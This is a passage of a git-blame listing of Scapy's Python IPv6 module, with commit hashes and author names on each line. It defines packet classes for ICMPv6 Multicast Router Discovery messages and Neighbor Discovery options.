1567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# providing IPv6 fields to be overloaded in fields_desc. 15680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# 1569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# At the moment, if user inserts an IPv6 Router alert option 1570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# none of the IPv6 default values of IPv6 layer will be set. 1571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Advertisement(_ICMPv6): 1573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Multicast Router Discovery Advertisement" 1574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ByteEnumField("type", 151, icmp6types), 1575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("advinter", 20), 1576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("queryint", 0), 1578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("robustness", 0)] 1579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} 1580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # IPv6 Router Alert requires manual inclusion 1581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def extract_padding(self, s): 1582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[:8], s[8:] 1583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Solicitation(_ICMPv6): 1585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Multicast Router Discovery Solicitation" 1586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ByteEnumField("type", 152, icmp6types), 1587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", 0), 1588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None) ] 1589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} 1590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # IPv6 Router Alert requires manual inclusion 1591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def extract_padding(self, s): 1592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[:4], s[4:] 1593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Termination(_ICMPv6): 1595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Multicast Router Discovery Termination" 1596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ByteEnumField("type", 153, icmp6types), 1597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", 0), 1598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None) ] 15990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}} 1600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # IPv6 Router Alert requires manual inclusion 1601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def extract_padding(self, s): 1602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[:4], s[4:] 1603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################### ICMPv6 Neighbor Discovery (RFC 2461) #################### 1606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndopts = { 1: "Source Link-Layer Address", 1608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "Target Link-Layer Address", 1609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "Prefix Information", 1610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "Redirected Header", 1611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: "MTU", 1612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: "NBMA Shortcut Limit Option", # RFC2491 1613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: "Advertisement Interval Option", 1614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 8: "Home Agent Information Option", 1615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9: "Source Address List", 1616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 10: "Target Address List", 1617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 11: "CGA Option", # RFC 3971 1618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 12: "RSA Signature Option", # RFC 3971 1619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 13: "Timestamp Option", # RFC 3971 1620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 14: "Nonce option", # RFC 3971 1621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 15: "Trust Anchor Option", # RFC 3971 1622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 16: "Certificate Option", # RFC 3971 1623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 17: "IP Address Option", # RFC 4068 1624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 18: "New Router Prefix Information Option", # RFC 4068 1625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 19: "Link-layer Address Option", # RFC 4068 16260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 20: "Neighbor Advertisement Acknowledgement Option", 1627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 21: "CARD Request Option", # RFC 4065/4066/4067 1628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 22: "CARD Reply Option", # RFC 4065/4066/4067 1629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23: "MAP Option", # RFC 4140 1630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 24: "Route Information Option", # RFC 4191 1631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25: "Recusive DNS Server Option", 1632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 26: "IPv6 Router Advertisement Flags Option" 1633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil } 16340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr", 1636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "ICMPv6NDOptDstLLAddr", 1637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "ICMPv6NDOptPrefixInfo", 1638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "ICMPv6NDOptRedirectedHdr", 1639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: "ICMPv6NDOptMTU", 1640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: "ICMPv6NDOptShortcutLimit", 1641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: "ICMPv6NDOptAdvInterval", 1642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 8: "ICMPv6NDOptHAInfo", 1643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9: "ICMPv6NDOptSrcAddrList", 1644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 10: "ICMPv6NDOptTgtAddrList", 1645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #11: Do Me, 1646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #12: Do Me, 1647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #13: Do Me, 1648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #14: Do Me, 1649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #15: Do Me, 1650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #16: Do Me, 16510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 17: "ICMPv6NDOptIPAddr", 1652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 18: "ICMPv6NDOptNewRtrPrefix", 1653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 19: "ICMPv6NDOptLLA", 1654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #18: Do Me, 1655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #19: Do Me, 1656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #20: Do Me, 1657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #21: Do Me, 1658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #22: Do Me, 1659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23: "ICMPv6NDOptMAP", 1660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 24: "ICMPv6NDOptRouteInfo", 1661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 25: "ICMPv6NDOptRDNSS", 16622e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon 26: "ICMPv6NDOptEFA", 16632e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon 31: "ICMPv6NDOptDNSSL" 1664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil } 1665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NDGuessPayload: 1667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Dummy ND class that implements guess_payload_class()" 1668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def guess_payload_class(self,p): 1669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if len(p) > 1: 1670b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter return get_cls(icmp6ndoptscls.get(orb(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ? 1671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Beginning of ICMPv6 Neighbor Discovery Options. 1674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): 1676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" 1677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",None), 1678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len",None,length_of="data",fmt="B", 1679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil adjust = lambda pkt,x: x+2), 1680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("data","", 1681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.len-2) ] 1682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# NOTE: len includes type and len field. Expressed in unit of 8 bytes 1684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: Revoir le coup du ETHER_ANY 1685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): 1686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" 1687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type", 1), 1688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 1), 1689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil MACField("lladdr", ETHER_ANY) ] 16900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def mysummary(self): 1691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.sprintf("%name% %lladdr%") 1692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): 1694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" 1695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil type = 2 1696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): 1698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Prefix Information" 1699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",3), 1700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len",4), 1701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("prefixlen",None), 1702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("L",1,1), 1703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("A",1,1), 1704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("R",0,1), 1705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("res1",0,5), 1706291400c1b6f65363e33cc982aaf0d43d31cc424egpotter XIntField("validlifetime",0xffffffff), 1707291400c1b6f65363e33cc982aaf0d43d31cc424egpotter XIntField("preferredlifetime",0xffffffff), 1708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XIntField("res2",0x00000000), 1709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("prefix","::") ] 17100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def mysummary(self): 1711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.sprintf("%name% %prefix%") 1712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: We should also limit the size of included packet to something 1714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# like (initiallen - 40 - 2) 1715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TruncPktLenField(PacketLenField): 1716b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET __slots__ = ["cur_shift"] 1717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): 1719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil PacketLenField.__init__(self, name, default, cls, length_from=length_from) 1720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.cur_shift = cur_shift 1721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 1723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.length_from(pkt) 1724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil i = self.m2i(pkt, s[:l]) 1725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[l:],i 17264e957e091da2c111732db403e6db503f4b383157Jochen Bartl 1727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def m2i(self, pkt, m): 17284e957e091da2c111732db403e6db503f4b383157Jochen Bartl s = None 1729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: # It can happen we have sth shorter than 40 bytes 1730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s = self.cls(m) 1731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 17327b3e970663abd72697e17b70aba9943ae0dad404Phil return conf.raw_layer(m) 1733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s 1734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 17365e8857410015a93f6371459b2f870432ded39b9fgpotter s = raw(x) 1737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = len(s) 1738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil r = (l + self.cur_shift) % 8 17394e957e091da2c111732db403e6db503f4b383157Jochen Bartl l = l - r 1740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[:l] 1741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2len(self, pkt, i): 1743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return len(self.i2m(pkt, i)) 1744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 17454e957e091da2c111732db403e6db503f4b383157Jochen Bartl 1746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) 1747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): 1748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Redirected Header" 1749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",4), 1750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, length_of="pkt", fmt="B", 175163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter adjust = lambda pkt,x:(x+8)//8), 17522a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrFixedLenField("res", b"\x00"*6, 6), 17531186356a1d73fd59b700d8af05e789d0e8899de6gpotter TruncPktLenField("pkt", b"", IPv6, 8, 17544e957e091da2c111732db403e6db503f4b383157Jochen Bartl length_from = lambda pkt: 8*pkt.len-8) ] 1755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# See which value should be used for default MTU instead of 1280 1757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): 1758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - MTU" 1759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",5), 1760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len",1), 1761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("res",0), 1762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("mtu",1280)] 1763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 1765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" 1766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type", 6), 1767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 1), 1768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("shortcutlim", 40), # XXX 1769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res1", 0), 1770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("res2", 0) ] 17710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): 1773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Interval Advertisement" 1774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",7), 1775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len",1), 1776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("res", 0), 1777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("advint", 0) ] 17780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def mysummary(self): 1779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.sprintf("%name% %advint% milliseconds") 1780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 17810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): 1782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Home Agent Information" 1783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",8), 1784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len",1), 1785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("res", 0), 1786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("pref", 0), 1787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("lifetime", 1)] 17880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def mysummary(self): 1789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.sprintf("%name% %pref% %lifetime% seconds") 1790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support 1792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support 1794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 179577132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 1796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" 1797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",17), 1798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 3), 1799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 1800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "New Care-Of Address", 1801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "NAR's IP address" }), 1802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("plen", 64), 1803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("res", 0), 1804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("addr", "::") ] 1805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 1807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" 1808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",18), 1809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 3), 1810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("optcode", 0), 1811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("plen", 64), 1812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("res", 0), 1813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("prefix", "::") ] 1814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: "LLA for the new AP", 1817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "LLA of the MN", 1818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "LLA of the NAR", 1819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "LLA of the src of TrSolPr or PrRtAdv msg", 1820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: "AP identified by LLA belongs to current iface of router", 1821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: "No preifx info available for AP identified by the LLA", 1822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: "No fast handovers support for AP identified by the LLA" } 1823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 182477132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 1825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" 1826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type", 19), 1827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 1), 1828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("optcode", 0, _rfc4068_lla_optcode), 1829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil MACField("lla", ETHER_ANY) ] # We only support ethernet 1830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 183177132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 1832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - MAP Option" 1833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type", 23), 1834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 3), 1835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("dist", 1, 4), 1836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("pref", 15, 4), # highest availability 1837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("R", 1, 1), 18380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz BitField("res", 0, 7), 1839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("validlifetime", 0xffffffff), 18400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz IP6Field("addr", "::") ] 1841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 18436057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass _IP6PrefixField(IP6Field): 1844b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET __slots__ = ["length_from"] 1845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default): 1846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field.__init__(self, name, default) 1847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.length_from = lambda pkt: 8*(pkt.len - 1) 1848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def addfield(self, pkt, s, val): 1850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s + self.i2m(pkt, val) 1851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 1853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.length_from(pkt) 1854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p = s[:l] 1855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l < 16: 18562a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter p += b'\x00'*(16-l) 1857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[l:], self.m2i(pkt,p) 1858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 